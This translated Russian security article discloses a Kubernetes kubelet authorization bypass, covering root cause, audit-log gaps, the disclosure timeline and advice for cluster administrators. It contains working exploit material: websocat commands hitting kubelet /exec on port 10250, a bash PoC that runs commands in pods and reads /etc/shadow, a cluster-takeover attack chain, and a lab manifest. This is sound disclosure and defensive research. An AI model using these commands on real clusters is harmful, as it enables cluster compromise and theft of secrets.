Обход авторизации в Kubernetes RBAC позволяет выполнять код в любом поде кластера с правами nodes/proxy GET.

В статье рассматривается баг, который позволяет выполнять произвольный код в подах кластеров Kubernetes при наличии сервисного аккаунта (Service Account) с правами nodes/proxy GET. О проблеме было сообщено в рамках процесса раскрытия уязвимостей Kubernetes, однако её закрыли со статусом «работает как задумано» (working as intended).

Выполнение команд в чужом поде
Выполнение команд в чужом поде

Администраторы Kubernetes часто открывают ресурс nodes/proxy для сервисных аккаунтов, которым требуется доступ к таким данным, как метрики подов и логи контейнеров. В частности, обычно этот ресурс запрашивают инструменты мониторинга Kubernetes для чтения данных.

Как оказалось, nodes/proxy GET позволяет выполнять произвольные команды в подах при использовании протоколов подключения типа WebSockets. Дело в том, что kubelet принимает решение об авторизации на основе первоначального handshake-запроса WebSocket, не проверяя наличие прав CREATE для эндпоинта /exec. То есть наличие определённых прав зависит исключительно от того, по какому протоколу осуществляется подключение к kubelet’у.

В результате любой пользователь с доступом к сервисному аккаунту с правами nodes/proxy GET, который может подключиться к kubelet'у на узле по порту 10250, получает возможность отправлять произвольные данные на эндпоинт /exec. Другими словами, он может выполнять команды в любом поде, включая привилегированные системные, что грозит полной компрометацией кластера. Усугубляется всё тем, что AuditPolicy в Kubernetes не записывает в лог команды, выполненные через прямое подключение к API kubelet'а.

И это не проблема конкретного вендора. Разрешение nodes/proxy GET используется повсеместно, так как общедоступных альтернатив на данный момент не существует. Быстрый поиск выявил 69 Helm-чартов, в которых упоминаются права nodes/proxy GET. Некоторые чарты поставляются с ними по умолчанию, другие требуют настройки дополнительных опций. Советую проверить настройки своих чартов и ознакомиться с рекомендациями в конце этого материала.

Примечание

Некоторые чарты для нормальной работы требуют, чтобы эта функциональность была включена по умолчанию. Например, cilium так работает со Spire.

Вот несколько известных чартов для примера. Полный список смотрите в приложении к статье:

Ниже приведён пример ClusterRole со всеми параметрами, необходимыми для эксплуат��ции уязвимости:

# Vulnerable ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: nodes-proxy-reader
rules:
  - apiGroups: [""] \
    resources: ["nodes/proxy"]
    verbs: ["get"]

Как администратор кластера, вы можете проверить все сервисные аккаунты в кластере на наличие данного разрешения, используя этот скрипт.

Если сервисный аккаунт уязвим, он позволяет выполнять команды во всех подах кластера с помощью инструментов вроде websocat:

websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol v4.channel.k8s.io \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"
uid=0(root) gid=0(root) groups=0(root)

Для тех, кто хочет во всем убедиться самостоятельно, доступно пошаговое руководство (на английском языке. — Прим. пер.).

Что такое nodes/proxy?

Краткое напоминание: Kubernetes RBAC использует ресурсы и глаголы (verbs) для контроля доступа. Ресурсы (например, pods, pods/exec или pods/logs) привязаны к определённым операциям, а глаголы (get, create или delete) определяют, какие действия с ними разрешены. К примеру, сочетание pods/exec и глагола create разрешает выполнение команд, а pods/logs и get — чтение логов.

Ресурс nodes/proxy необычен. В отличие от большинства ресурсов Kubernetes, привязанных к конкретным операциям, nodes/proxy — это своего рода «универсальный пропуск», управляющий доступом к API kubelet’а. Он открывает доступ к двум разным, но связанным эндпоинтам: API Server Proxy и Kubelet API.

API Server Proxy

Первый эндпоинт, к которому разрешает доступ nodes/proxy, это прокси-эндпоинт API-сервера: $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/….

Запросы на него перенаправляются (проксируются) от API-сервера к kubelet'у на целевом узле. Это используется для многих задач, в том числе для:

  • чтения метрик: $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/metrics;

  • получения данных о потреблении ресурсов: $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/stats/summary;

  • извлечения логов контейнеров: $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/containerLogs/$NAMESPACE/$POD_NAME/$CONTAINER_NAME.

К этим данным можно обратиться напрямую через kubectl с флагом --raw или через curl. Например, запрос к эндпоинту metrics вернёт базовую статистику:

# Через kubectl 
kubectl get --raw /api/v1/nodes/$NODE_NAME/proxy/metrics | head -n 10
# Через curl
curl -sk -H "Authorization: Bearer $TOKEN" $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/metrics | head -n 10

# HELP aggregator_discovery_aggregation_count_total [ALPHA] Counter of number of times discovery was aggregated
# TYPE aggregator_discovery_aggregation_count_total counter
aggregator_discovery_aggregation_count_total 0
# HELP apiserver_audit_event_total [ALPHA] Counter of audit events generated and sent to the audit backend.
# TYPE apiserver_audit_event_total counter
apiserver_audit_event_total 0
# HELP apiserver_audit_requests_rejected_total [ALPHA] Counter of apiserver requests rejected due to an error in audit logging backend.
# TYPE apiserver_audit_requests_rejected_total counter
apiserver_audit_requests_rejected_total 0
# HELP apiserver_client_certificate_expiration_seconds [ALPHA] Distribution of the remaining lifetime on the certificate used to authenticate a request.

Поскольку такой запрос проходит через API Server, создаются записи в логах для ресурсов pods/exec и subjectaccessreviews (при настроенной AuditPolicy). Важно отметить, что внутри лога события pods/exec поле requestURI будет содержать полную команду, выполняемую в поде:

Нажмите
// Запись, сгенерированная AuditPolicy
{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "level": "Metadata",
  "auditID": "196f4d69-6cfa-4812-b7b9-4bf13689cb8d",
  "stage": "RequestReceived",
  "requestURI": "/api/v1/namespaces/kube-system/pods/etcd-minikube/exec?command=sh&command=-c&command=filename%3D%2Fvar%2Flib%2Fminikube%2Fcerts%2Fetcd%2Fserver.key%3B+while+IFS%3D+read+-r+line%3B+do+printf+%22%25s%5C%5Cn%22+%22%24line%22%3Bdone+%3C+%22%24filename%22&container=etcd&stdin=true&stdout=true&tty=true",
  "verb": "get",
  "user": {
    "username": "minikube-user",
    "groups": [
      "system:masters",
      "system:authenticated"
    ],
    "extra": {
      "authentication.kubernetes.io/credential-id": [
        "X509SHA256=3da792d1a94c5205821984a672707270a9f2d8e27190eb09051b15448e5bf0c3"
      ]
    }
  },
  "sourceIPs": [
    "192.168.67.1"
  ],
  "userAgent": "kubectl/v1.31.0 (linux/amd64) kubernetes/9edcffc",
  "objectRef": {
    "resource": "pods",
    "namespace": "kube-system",
    "name": "etcd-minikube",
    "apiVersion": "v1",
    "subresource": "exec"
  },
  "requestReceivedTimestamp": "2025-11-04T05:42:51.025534Z",
  "stageTimestamp": "2025-11-04T05:42:51.025534Z"
}

Kubelet API

Помимо проксирования через API Server, ресурс nodes/proxy открывает прямой доступ к API kubelet’а. Напомню, на каждом узле работает kubelet, который «говорит» среде исполнения, какие контейнеры создавать.

Он открывает ряд API-эндпоинтов с информацией, аналогичной той, что доступна через прокси API-сервера. Например, те же метрики можно получить, обратившись к API kubelet’а напрямую:

curl -sk -H "Authorization: Bearer $TOKEN" https://$NODE_IP:10250/metrics | head -n 10

# HELP aggregator_discovery_aggregation_count_total [ALPHA] Counter of number of times discovery was aggregated
# TYPE aggregator_discovery_aggregation_count_total counter
aggregator_discovery_aggregation_count_total 0
# HELP apiserver_audit_event_total [ALPHA] Counter of audit events generated and sent to the audit backend.
# TYPE apiserver_audit_event_total counter
apiserver_audit_event_total 0
# HELP apiserver_audit_requests_rejected_total [ALPHA] Counter of apiserver requests rejected due to an error in audit logging backend.
# TYPE apiserver_audit_requests_rejected_total counter
apiserver_audit_requests_rejected_total 0
# HELP apiserver_client_certificate_expiration_seconds [ALPHA] Distribution of the remaining lifetime on the certificate used to authenticate a request.

Любопытный нюанс состоит в том, что прямое соединение с kubelet'ом не проходит через API Server. Следовательно, AuditPolicy Kubernetes зафиксирует только событие subjectaccessreviews (проверку прав доступа), но не добавит в логи само действие pods/exec, то есть администратор не сможет узнать, какая именно команда выполняется в поде:

Нажмите
{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "level": "Metadata",
  "auditID": "1be86af9-26e7-40e9-aaae-bbb904df129b",
  "stage": "ResponseComplete",
  "requestURI": "/apis/authorization.k8s.io/v1/subjectaccessreviews",
  "verb": "create",
  "user": {
    "username": "system:node:minikube",
    "groups": [
      "system:nodes",
      "system:authenticated"
    ],
    "extra": {
      "authentication.kubernetes.io/credential-id": [
        "X509SHA256=52d652baad2bfd4d1fa0bb82308980964f8c7fbf01784f30e096accd1691f889"
      ]
    }
  },
  "sourceIPs": [
    "192.168.67.2"
  ],
  "userAgent": "kubelet/v1.34.0 (linux/amd64) kubernetes/f28b4c9",
  "objectRef": {
    "resource": "subjectaccessreviews",
    "apiGroup": "authorization.k8s.io",
    "apiVersion": "v1"
  },
  "responseStatus": {
    "metadata": {},
    "code": 201
  },
  "requestReceivedTimestamp": "2025-11-04T05:54:54.978676Z",
  "stageTimestamp": "2025-11-04T05:54:54.979425Z",
  "annotations": {
    "authorization.k8s.io/decision": "allow",
    "authorization.k8s.io/reason": ""
  }
}

На момент написания статьи документация по авторизации kubelet'а не содержит полного перечня API-эндпоинтов. Тем не менее API kubelet’а предоставляет следующие дополнительные эндпоинты:

  • /exec: запускает новый процесс и даёт выполнять любые команды в контейнерах (интерактивно).

  • /run: почти как /exec, только просто запускает команду и отдаёт вывод (не интерактивно).

  • /attach: цепляется к процессу контейн��ра и даёт доступ к его потокам (stdin/stdout/stderr).

  • /portforward: прокидывает сетевые туннели (TCP) до контейнеров.

Нас больше всего интересуют /exec и /run. В отличие от безобидных read-only-эндпоинтов типа /metrics и /stats, они позволяют запускать код прямо внутри контейнеров.

Обычно в Kubernetes RBAC всё логично: хочешь создать под или выполнить код — нужен глагол CREATE, хочешь просто читать — нужен GET. Это позволяет легко анализировать роли: сразу видно, является ли (Cluster)Role только читающей (read-only) или нет. Однако, как верно подметил Рори Маккьюн в своей статье «Когда read-only не является read-only», это правило работает не всегда.

Разрешение nodes/proxy с глаголом CREATE заслуженно считается опасным и хорошо задокументировано:

Даже в аудите безопасности от nccgroup (страница 24) отмечались проблемы с nodes/proxy GET при его сочетании с nodes/status PATCH или nodes CREATE.

Документация утверждает, что авторизация запросов к kubelet'у и через прокси API-сервера происходит одинаково: «The kubelet authorizes API requests using the same request attributes approach as the apiserver» («…атрибуты запроса проверяются идентичным образом»).

Когда запрос поступает на API-сервер, Kubernetes считывает HTTP-метод (GET, POST, PUT…) и транслирует его в соответствующий «глагол» RBAC (GET, CREATE, UPDATE) (auth.go:80-94).

В документации приводится таблица этого сопоставления:

HTTP verb

Request verb

POST

create

GET, HEAD

get

PUT

update

PATCH

patch

DELETE

delete

Видно, что POST должен соответствовать глаголу CREATE, а GET — GET. Однако, когда доступ к эндпоинту /exec осуществляется через WebSockets (который, согласно стандарту RFC, начинается с HTTP GET-запроса для рукопожатия), kubelet принимает решение об авторизации именно на основе этого начального GET вместо последующей команды. В результате nodes/proxy GET некорректно разрешает действия, которые должны требовать прав nodes/proxy CREATE!

Разбираем уязвимость

Разрешение nodes/proxy открывает сервисному аккаунту доступ к API kubelet'а. Безопасники знают, насколько это рискованно: даже без учёта данной уязвимости доступ к API kubelet'а позволяет читать эндпоинты вроде /metrics и /containerLogs.

Примечание

Настоятельно рекомендую проверять эти эндпоинты на утечку секретов или API-ключей!

Однако описываемая уязвимость куда критичнее: nodes/proxy GET фактически предоставляет права на выполнение команд.

Для демонстрации воспользуемся сервисным аккаунтом со следующей ClusterRole:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: nodes-proxy-reader
rules:
  - apiGroups: [""] \
    resources: ["nodes/proxy"]
    verbs: ["get"]

Первопричина

Как отмечалось выше, kubelet выбирает проверяемый глагол RBAC на основе HTTP-метода начального запроса. Запрос POST соответствует глаголу RBAC CREATE, а запросы GET — глаголу GET.

Это ключевой момент, так как эндпоинты выполнения команд (например, /exec) используют WebSockets для двусторонней потоковой передачи данных. Поскольку обычный HTTP — не лучший выбор для взаимодействия в реальном времени, для интерактивных сессий требуются протоколы вроде WebSockets или SPDY.

Особенность WebSocket заключается в том, что для установления начального соединения (handshake) требуется HTTP-запрос GET с заголовком Connection: Upgrade.

Следовательно, любое установление соединения через WebSockets начинается с HTTP GET и заголовка Connection: Upgrade.

GET /exec HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
<вырезано>

Из-за этого начального GET-запроса kubelet принимает решение об авторизации на основе фазы установления соединения, вместо того чтобы проверять права на действия, выполняемые уже внутри поднятого канала.

Kubelet не проверяет авторизацию после «апгрейда» соединения и, соответственно, при использовании WebSockets не валидирует права сервисного аккаунта на фактическую операцию.

То есть с помощью инструментов вроде websocat через эндпоинт /exec можно выполнять произвольные команды, не имея прав CREATE.

Давайте убедимся в этом. Сначала проверим наши права: у сервисного аккаунта должно быть только разрешение nodes/proxy GET:

kubectl auth can-i --list

Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
nodes/proxy                                     []                                     []               [get]

Убедившись, что у нас есть только nodes/proxy GET, используем websocat для отправки WebSocket-запроса напрямую на /exec kubelet'а:

websocat \
  --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol "v4.channel.k8s.io" \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=hostname"

nginx
{"metadata":{},"status":"Success"}

Как видно, команда hostname успешно выполнилась. Это и есть уязвимость. Логика авторизации kubelet'а видит запрос HTTP GET, относящийся к рукопожатию при установке соединения, и сопоставляет его с глаголом RBAC GET. Затем оно проверяет наличие nodes/proxy GET (которое у нас как раз есть) и разрешает выполнение операции. Вторичная проверка на наличие прав CREATE для этой операции не проводится.

Для сравнения, если использовать запрос POST (соответствующий RBAC CREATE) на тот же эндпоинт /exec, доступ будет заблокирован:

curl -sk -X POST \
  -H "Authorization: Bearer $TOKEN" \
  "https://$NODE_IP:10250/exec/default/nginx/nginx?command=hostname&stdout=true&stderr=true"

Forbidden (user=system:serviceaccount:default:attacker, verb=create, resource=nodes, subresource(s)=[proxy])

Это ожидаемое поведение: пользователю system:serviceaccount:default:attacker отказано в доступе, так как у него нет прав на nodes/proxy CREATE, а есть только nodes/proxy GET. В этом случае логика авторизации корректно сопоставляет HTTP POST с глаголом RBAC CREATE.

Оба запроса направляются на один и тот же эндпоинт /exec, но авторизуются по разным глаголам RBAC исключительно из-за HTTP-метода, требуемого протоколом подключения.

Очевидно, что решения об авторизации должны основываться на сути выполняемой операции, а не на способе передачи запроса. Текущая ситуация позволяет злоумышленникам обходить контроль доступа, выбирая альтернативный протокол подключения.

Примечание

Для простоты изложения в этой статье рассматривается протокол WebSockets, хотя в Kubernetes также применяется SPDY. :)

Чтобы разобраться, почему так происходит, мне пришло��ь проследить жизненный цикл запроса в кодовой базе и выяснить, как nodes/proxy GET позволяет получить доступ к ресурсам, которые требуют прав nodes/proxy CREATE. Вот что я обнаружил:

  • Инициация WebSocket-соединения. Клиент отправляет запрос HTTP GET на эндпоинт /exec/default/nginx/nginx?command=id с заголовком Connection: Upgrade, чтобы установить WebSocket-соединение для выполнения команды. Например, с помощью websocat.

  • Аутентификация. Kubelet проверяет JWT-токен из запроса и определяет пользователя (например, system:serviceaccount:default:attacker) (server.go:338).

  • Запрос атрибутов для авторизации. Kubelet вызывает специальную функцию, которая по пользователю и HTTP-запросу решает, какие именно разрешения RBAC необходимо проверить (server.go:350).

  • Сопоставление HTTP-метода и глагола RBAC. Kubelet анализирует метод запроса (GET, как того требует стандарт WebSocket, см. RFC 6455) и сопоставляет его с глаголом RBAC GET (auth.go:87). (Это первый баг. Решение об авторизации принимается на основе HTTP-метода, который всего лишь используется для установки соединения).

  • Сопоставление пути запроса и подресурса. Kubelet анализирует путь, указанный в запросе, — /exec/default/nginx/nginx. Поскольку он не относится к специальным эндпоинтам (/stats, /logs и т. д.), по умолчанию он классифицируется как подресурс proxy (auth.go:129). (Это второй баг. Эндпоинт /exec (и ряд других) не обрабатывается как специальный и попадает под общее правило для proxy).

  • Формирование атрибутов авторизации. Kubelet создаёт структуру данных для проверки авторизации, указывая глагол (GET), ресурс (nodes) и подресурс (proxy). Её он проверит на соответствие политикам RBAC (auth.go:136). Эта структура выглядит примерно так:

authorizer.AttributesRecord{
    User:            system:serviceaccount:default:attacker,
    Verb:            "get",
    Namespace:       "",
    APIGroup:        "",
    APIVersion:      "v1",
    Resource:        "nodes",
    Subresource:     "proxy",
    Name:            "minikube-m02",
    ResourceRequest: true,
    Path:            "/exec/default/nginx/nginx",
}
  • Возврат атрибутов. Полученную структуру kubelet возвращает в фильтр авторизации для последующей проверки (auth.go:151).

  • Проверка авторизации. Kubelet отправляет запрос авторизатору RBAC (обычно через вебхук к API-серверу) с вопросом: «Может ли пользователь system:serviceaccount:default:attacker выполнить действие get с ресурсом nodes/proxy?» (server.go:356). (Именно на этом шаге генерируются логи subjectaccessreviews).

  • Авторизация пройдена. Авторизатор отвечает «да», так как у пользователя есть ClusterRole с разрешением ["get"] для nodes/proxy. (Это прямое следствие двух предыдущих багов, которое позволяет выполнять операции записи, имея только права на чтение (get)).

  • Передача запроса дальше. Поскольку авторизация прошла успешно, kubelet передаёт запрос следующему фильтру/обработчику в цепочке (server.go:384).

  • Маршрутизация к обработчику exec. Запрос попадает к обработчику, отвечающему за эндпоинт /exec. (В этом месте должна была бы быть вторая, более специфичная проверка авторизации, как это сделано для запросов, идущих через API Server (authorize.go:31)).

  • Поиск пода. Kubelet находит целевой под nginx в неймспейсе default (server.go:976).

  • Запрос URL у среды выполнения контейнеров. Kubelet запрашивает у интерфейса среды выполнения контейнеров (CRI) потоковый URL для выполнения команды в указанном поде и контейнере (server.go:983).

  • Среда выполнения контейнеров возвращает URL. CRI возвращает URL потокового эндпоинта, по которому может быть установлено WebSocket-соединение для выполнения команды.

  • Установление WebSocket-потока. Kubelet апгрейдит HTTP-соединение до WebSocket и устанавливает двунаправленную потоковую передачу данных между клиентом и средой выполнения контейнеров (server.go:988).

  • Выполнение команды в контейнере. Среда выполнения контейнеров исполняет команду id внутри контейнера nginx.

  • Возврат вывода команды. Среда выполнения контейнеров передает вывод команды uid=0(root) gid=0(root) groups=0(root) обратно через WebSocket-соединение.

  • Передача потока клиенту. Kubelet проксирует поток вывода обратно клиенту, завершая выполнение команды, хотя права есть лишь на nodes/proxy GET.

О чём это говорит?

Анализ кода показывает, что при проектировании были допущены две ошибки, которые вместе создают уязвимость:

  1. Авторизация на основе протокола: kubelet принимает решение о доступе, основываясь на методе HTTP-запроса для установки соединения, а не на самой операции. Для WebSocket это GET, поэтому проверяется глагол GET, а не CREATE.

  2. Эндпоинты выполнения команд относятся к proxy: у kubelet'а нет отдельных подресурсов для /exec, /run, /attach и /portforward. Все они авторизуются как ресурс nodes/proxy. Сама по себе эта проблема некритична: если бы проверка глагола работала корректно, для WebSocket-соединений всё равно требовались бы права CREATE и доступ был бы заблокирован.

Примечание

Простое исправление этой ошибки ничего не изменило бы. Добавление нового ресурса nodes/exec всё равно привело бы к ситуации, где для него проверялось бы право на GET, хотя нужно проверять CREATE.

Вместе эти две ошибки приводят к обходу авторизации, при котором стандартное разрешение nodes/proxy GET внезапно даёт возможность удалённо выполнять код в любом поде кластера.

Как найти и что делать

К сожалению, мой отчёт об уязвимости был закрыт с вердиктом Won’t Fix («Исправлять не будем» — Прим. пер.), поскольку такое поведение считается штатной работой (Working as intended — Прим. пер.). То есть разрешение nodes/proxy GET продолжает оставаться вектором для получения прав администратора кластера.

Как администратор кластера, вы можете проверить все сервисные аккаунты в кластере на наличие данного разрешения, используя скрипт обнаружения. Чтобы оценить серьёзность, необходимо знать модель угроз конкретного кластера. Скорее всего, с проблемами столкнутся мультитенантные кластеры или те, в которых каждый узел рассматривается как рубеж безопасности.

Ключевое требование для атаки — доступность API kubelet'а по сети. Атаку можно предотвратить простым ограничением трафика на порт kibelet'а, но неизвестно, как оно повлияет на стабильность кластера.

В ходе обсуждений, последовавших за раскрытием информации, сообщество Kubernetes порекомендовало ускорить внедрение KEP-2862 (см. обзор Kubernetes 1.32 — Прим. ред.). Увы, фича, реализованная в KEP-2862, пока не является общедоступной (Generally Available), и большинство поставщиков Kubernetes-решений её не поддерживают (хотя есть исключения, например Datadog уже реализовали её в своих чартах). Это шаг в верном направлении, но он не решает саму исходную проблему, о чём я расскажу далее.

Вектор атаки

Изложенных выше технических подробностей вполне достаточно для понимания вектора атаки. Захватив под с правами nodes/proxy GET, злоумышленник может:

  1. Получить список всех подов на доступных узлах, обратившись к эндпоинту /pods kubelet'а.

  2. Выполнить произвольные команды в любом из найденных подов, используя WebSockets для обхода проверки на право CREATE.

  3. Атаковать привилегированные системные поды (например, kube-proxy) для получения root-доступа.

  4. Похитить токены сервисных аккаунтов из других подов, чтобы обнаружить новые узлы и продолжить горизонтальное перемещение по кластеру.

  5. Получить доступ к компонентам управляющего слоя (control plane), таким как etcd, kube-apiserver и kube-controller-manager.

  6. Извлечь все секреты кластера или смонтировать файловую систему хост-машины из привилегированных контейнеров.

В результате разрешение, которое кажется безобидным правом на чтение, приводит к полной компрометации кластера.

Proof of Concept

Вот небольшой PoC-скрипт, который можно использовать для тестов:

#!/bin/bash
# Colors
RED=$(tput setaf 1)
BLUE=$(tput setaf 4)
YELLOW=$(tput setaf 3)
GREEN=$(tput setaf 2)
ENDCOLOR=$(tput sgr0)
TICK="[${GREEN}+${ENDCOLOR}] "
TICK_MOVE="[${GREEN}~>${ENDCOLOR}] "
TICK_BACKUP="[${GREEN}<~${ENDCOLOR}] "
TICK_INPUT="[${YELLOW}!${ENDCOLOR}] "
TICK_ERROR="[${RED}!${ENDCOLOR}] "
# Config
NODE_IP="${NODE_IP:?NODE_IP not set}"
TOKEN="${TOKEN:?TOKEN not set}"
NAMESPACE="${NAMESPACE:-default}"
POD="${POD:-nginx}"
CONTAINER="${CONTAINER:-nginx}"
exec_cmd() {
    local cmd="$1"
    local args=""
    for arg in $cmd; do
        args+="&command=$arg"
    done
    args="${args:1}"  # strip leading &
    timeout 3 websocat --insecure -E \
        --header "Authorization: Bearer $TOKEN" \
        --protocol v4.channel.k8s.io \
        "wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&$args" 2>/dev/null \
        | grep -v '{"metadata":{}' \
}
echo ""
echo "${TICK}Target: ${YELLOW}$NODE_IP:10250 ${ENDCOLOR}"
echo "${TICK}Pod: ${YELLOW}$NAMESPACE/$POD${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Fetching hostname..."
hostname=$(exec_cmd "cat /etc/hostname" | tr -d '\n\r') \
echo "${TICK}Hostname: ${GREEN}$hostname${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Fetching identity..."
identity=$(exec_cmd "id")
echo "${TICK}Identity: ${GREEN}$identity${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Attempting to read /etc/shadow..."
shadow=$(exec_cmd "cat /etc/shadow")
if [[ -n "$shadow" ]]; then \
    echo "${TICK}${RED}Successfully read /etc/shadow:${ENDCOLOR}"
    echo "$shadow"
else
    echo "${TICK_ERROR}Could not read /etc/shadow"
fi

Атаку можно попробовать провести онлайн в облачной среде — для этого я опубликовал интерактивную лабораторную работу с пошаговым руководством по выполнению команд в подах.

Если предпочитаете тестировать локально, вот базовый манифест, с которого можно начать:

---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: attacker
  namespace: default
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: nodes-proxy-reader
rules:
  - apiGroups: [""] \
    resources: ["nodes/proxy"]
    verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: attacker-nodes-proxy-reader
subjects:
  - kind: ServiceAccount \
    name: attacker
    namespace: default
roleRef:
  kind: ClusterRole
  name: nodes-proxy-reader
  apiGroup: rbac.authorization.k8s.io
---
apiVersion: v1
kind: Pod
metadata:
  name: attacker
  namespace: default
spec:
  serviceAccountName: attacker
  containers:
    - name: attacker \
      image: alpine
      command: ["sleep", "infinity"]
---
apiVersion: v1
kind: Pod
metadata:
  name: nginx
  namespace: default
spec:
  containers:
    - name: nginx \
      image: nginx

В ближайшие недели я опубликую детальный разбор, который пошагово осветит эти техники, включая инструментарий и руководство по использованию уязвимости для выхода из пода на уровень узла.

Процесс раскрытия уязвимости

Я сообщил об этой уязвимости команде безопасности Kubernetes через платформу HackerOne 1 ноября 2025 года.

Хронология

Дата

Событие

1 ноября 2025 г.

Первичный отчёт направлен в Kubernetes Security Team

14 ноября 2025 г.

Запрошен статус по отчёту

25 ноября 2025 г.

Проведён триаж отчёта

14 декабря 2025 г.

Уведомление команды о 90-дневном сроке публи��ного раскрытия (дедлайн — 30 января 2026 г.)

7 января 2026 г.

Повторный запрос о статусе перед раскрытием

23 января 2026 г.

Ответ от Kubernetes Security Team: Won't Fix (поведение признано штатным — Working as Intended)

26 января 2026 г.

Публичное раскрытие уязвимости

Ответ команды безопасности Kubernetes

Приносим извинения за задержку с ответом.

После дополнительного обсуждения с рабочими группами SIG-Auth и SIG-Node мы подтверждаем наше решение о том, что данное поведение является штатным и уязвимости не будет присвоен номер CVE. Мы согласны, что nodes/proxy создаёт определённый риск. Однако исправление, ограничивающее этот вектор атаки, потребовало бы изменить логику авторизации в двух местах: в kubelet (чтобы обработать особый случай для пути /exec) и в kube-apiserver (чтобы добавить вторичную проверку прав на /exec после основной проверки nodes/proxy), что фактически означало бы принудительную двойную авторизацию для get и create. Мы решили, что такая двойная проверка — это хрупкое, кривое с точки зрения архитектуры и потенциально неполное решение.

Мы по-прежнему убеждены, что KEP-2862 (Гранулярная авторизация Kubelet API) — правильный путь. Вместо того чтобы изменять существующую грубую авторизацию nodes/proxy, наша цель — сделать её устаревшей для агентов мониторинга, переведя гранулярные разрешения в статус General Availability (GA) в релизе 1.36, который ожидается в апреле 2026 года. Когда эта функциональность стабилизируется, мы сможем оценить риски совместимости, связанные с отказом от старого метода. В рамках KEP мы сгруппировали эндпоинты только для чтения (read-only-эндпоинты) (/configz, /healthz, /pods) отдельно от эндпоинтов, позволяющих исполнение кода (/attach, /exec, /run), поскольку мы не видим сценариев, где имело бы смысл разрешать, например, только /exec без остальных. Официальная документация, мы надеемся, вносит ясность в текущую ситуацию с безопасностью. В грядущем релизе мы сделаем акцент на важности новой функции и на опасностях, связанных с использованием nodes/proxy.

Можете спокойно публиковать свою статью и даже вставить в неё этот текст. Надеемся, ваш материал поможет мотивировать экосистему к миграции на более безопасную модель авторизации из KEP-2862.

Удачи, Команда безопасности Kubernetes.

Я благодарен за ответ, но во многом с ним не согласен.

1. Аналогичный баг исправляли в другом месте

«Мы подтверждаем наше решение о том, что данное поведение является штатным».

Когда kubectl exec перешёл по умолчанию с протокола SPDY на WebSocket, API-сервер столкнулся с идентичной ошибкой для ресурса pods/exec: операции записи авторизовались по неверному глаголу. Исправление выкатили в Kubernetes v1.35 — разработчики добавили дополнительную проверку, которая принудительно требует прав на CREATE независимо от HTTP-метода запроса.

Более того, в комментарии к коду с фиксом прямо говоритс��, что это был «неожиданный побочный эффект»: 

// Подресурсы пода по-разному обрабатывают REST-глаголы в зависимости от протокола. 

// SPDY использует POST, который на уровне авторизации транслируется в "create". 

// Websockets использует GET, который транслируется в "get". 

// После того как в KEP-4006 kubectl по умолчанию переключили на websocket, это вызвало неожиданный побочный эффект. Чтобы сохранить обратную совместимость существующих политик, мы теперь всегда проверяем, что глагол "create" разрешен. 

// См.: https://issues.k8s.io/133515

2. Неконсистентная авторизация

«Официальная документация, мы надеемся, вносит ясность в текущую ситуацию с безопасностью».

В документации, на которую ссылается команда, утверждается, что «kubelet авторизует API-запросы, используя тот же подход, что и apiserver». На практике же требования к авторизации для эндпоинта /exec kubelet'а различаются в зависимости от способа доступа. Запросы, отправленные через прокси API-сервера ($APISERVER/api/v1/nodes/$NODE_NAME/proxy/exec/...) и напрямую на API kubelet'а ($NODE_IP:10250/exec/...), приводят к совершенно разным результатам.

Проведём простой эксперимент. Сначала попытаемся выполнить команду hostname через прокси API-сервера, используя POST-запрос:

POST /api/v1/nodes/minikube-m02/proxy/exec/default/nginx/nginx?command=hostname&stdout=true HTTP/2
Host: 10.96.0.1
User-Agent: curl/8.5.0
Accept: */*
Authorization: Bearer $TOKEN

Отправляем запрос с помощью curl:

curl -sk -X POST \
  -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/nodes/$NODE_NAME/proxy/exec/default/nginx/nginx?command=hostname&stdout=true"

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "nodes \"minikube-m02\" is forbidden: User \"system:serviceaccount:default:attacker\" cannot create resource \"nodes/proxy\" in API group \"\" at the cluster scope",
  "reason": "Forbidden",
  "details": {
    "name": "minikube-m02",
    "kind": "nodes"
  },
  "code": 403

Результат предсказуем: 403 Forbidden. API-сервер корректно сопоставляет метод POST с действием CREATE в RBAC, на которое у нас нет прав, и блокирует запрос.

